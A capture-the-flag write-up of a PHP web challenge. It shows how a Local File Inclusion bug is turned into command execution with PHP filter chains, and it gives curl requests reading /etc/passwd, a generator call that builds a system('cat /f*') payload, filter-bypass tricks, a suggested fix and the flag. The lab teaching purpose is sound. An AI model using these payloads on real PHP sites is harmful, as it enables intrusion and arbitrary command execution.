Published on

PCC CTF - L33tSpeak Web Challenge Writeup

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

L33tSpeak Web Challenge Solution

Challenge Overview

Vulnerability Analysis

The application has a Local File Inclusion (LFI) vulnerability in index.php:

index.php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    
    // Filter blocks: "..", "flag", ".php", "temp"
    if (strpos($page, '..') !== false || strpos($page, 'flag') !== false || strpos($page, '.php') !== false || strpos($page, 'temp') !== false) {
        die('Weirdddddd!!!!');
    }
    
    if (in_array($page, $allowed_pages)) {
        include($page . '.php');
    } else {
        include($page);  // VULNERABLE!
    }
}

Solution Approach

The hint "PHP Chain Generator Till Memory" refers to PHP filter chain generators - a technique to bypass LFI restrictions.

Step 1: Verify PHP Filter Wrapper Works

test.sh
curl "http://c1.arena.airoverflow.com:56633/?page=php://filter/convert.base64-encode/resource=/etc/passwd"

Step 2: Use PHP Filter Chains to Read Flag

Since the filter blocks "flag" in the URL parameter, we need to use PHP filter chains to bypass this. The technique involves using convert.iconv filters to manipulate strings.

Exploitation

The flag file is located at /flag.txt but we cannot directly access it because "flag" is blocked.

We need to use PHP filter chains or find an alternative way to read the file without having "flag" in the page parameter.

Exploitation Steps

Step 1: Clone the PHP Filter Chain Generator

setup.sh
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator

Step 2: Generate the Payload

The key insight is that we can use PHP filter chains to generate arbitrary PHP code that will be executed. We generate a payload that executes cat /f* to read all files starting with /f (including /flag.txt):

generate.sh
python3 php_filter_chain_generator.py --chain '<?php system("cat /f*");?>'

This generates a very long filter chain that uses convert.iconv filters to construct the PHP code.

Step 3: Bypass the "temp" Filter

The generated payload uses php://temp as the resource, but "temp" is blocked by the filter. We need to replace it with another file:

bypass.sh
python3 php_filter_chain_generator.py --chain '<?php system("cat /f*");?>' | grep "^php://" | sed 's|php://temp|/etc/hosts|g' > payload.txt

Step 4: Execute the Exploit

exploit.sh
PAYLOAD=$(cat payload.txt)
curl "http://c1.arena.airoverflow.com:56633/?page=${PAYLOAD}"

The output will contain the flag: PCC{...}

Technical Details

PHP Filter Chains Deep Dive

The hint "PHP Chain Generator Till Memory" refers to:

  1. PHP Filter Chain Generator: A tool that generates long chains of convert.iconv filters
  2. Till Memory: The chains are very long (memory-intensive) because they encode arbitrary content through multiple character encoding conversions

How PHP Filter Chains Work

// Basic filter chain concept
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO2022KR.UTF8|convert.base64-encode/resource=file

Each convert.iconv filter performs a character set conversion, and by chaining them, we can manipulate bytes to create desired output.

Filter Chain Generation Process

  1. Target String: <?php system("cat /f*");?>
  2. Character Analysis: Break down into individual bytes
  3. Conversion Mapping: Find iconv conversions that produce target bytes
  4. Chain Construction: Build filter chain with multiple conversions
  5. Validation: Test and refine the chain

Advanced Bypass Techniques

Technique 1: Resource Replacement

# Original payload uses php://temp (blocked)
php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-encode/resource=php://temp

# Replace with allowed resource
php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-encode/resource=/etc/hosts

Technique 2: Alternative Wrappers

# Try different PHP wrappers
php://filter/.../resource=data://text/plain;base64,
php://filter/.../resource=expect://ls
php://filter/.../resource=glob:///var/www/*

Exploitation Methodology

The exploit works by:

  1. Using multiple convert.iconv filters to transform data
  2. Each filter converts between different character encodings
  3. Through careful chaining, the filters construct arbitrary PHP code
  4. The PHP code is executed when included by the vulnerable include() function
  5. Our code executes cat /f* which reads /flag.txt without having "flag" in the URL parameter

Phase 1: Reconnaissance

# Test basic LFI
curl "http://target/?page=../../../etc/passwd"

# Test PHP wrapper
curl "http://target/?page=php://filter/read=convert.base64-encode/resource=index.php"

# Enumerate files
curl "http://target/?page=php://filter/read=convert.base64-encode/resource=/etc/passwd"

Phase 2: Filter Chain Development

# Use automated tools
python3 php_filter_chain_generator.py --chain '<?php system("id");?>'

# Manual chain construction
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO2022KR.UTF8|convert.base64-encode/resource=/etc/hosts

Phase 3: Payload Execution

# Execute generated payload
PAYLOAD=$(cat generated_payload.txt)
curl "http://target/?page=${PAYLOAD}"

# Verify execution
curl "http://target/?page=${PAYLOAD}" | grep -i "uid="

Security Analysis

Vulnerability Root Cause

// Vulnerable code
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    
    // Insufficient filtering
    if (strpos($page, '..') !== false || strpos($page, 'flag') !== false || strpos($page, '.php') !== false || strpos($page, 'temp') !== false) {
        die('Weirdddddd!!!!');
    }
    
    if (in_array($page, $allowed_pages)) {
        include($page . '.php');
    } else {
        include($page);  // VULNERABLE!
    }
}

Defense Mechanisms

// Proper LFI prevention
function safe_include($page) {
    $allowed_pages = ['home', 'about', 'contact'];
    $page = basename($page); // Remove path traversal
    
    if (!in_array($page, $allowed_pages)) {
        die('Access denied');
    }
    
    $file = $page . '.php';
    if (!file_exists($file) || !is_file($file)) {
        die('File not found');
    }
    
    include($file);
}

Result

FLAG FOUND: PCC{ez_pz_lemon_squeezy_VMhYY7hiL5}

When tested locally with Docker:

PCC{`FAKEFLAG`}

When tested against the live server:

PCC{`ez_pz_lemon_squeezy_VMhYY7hiL5`}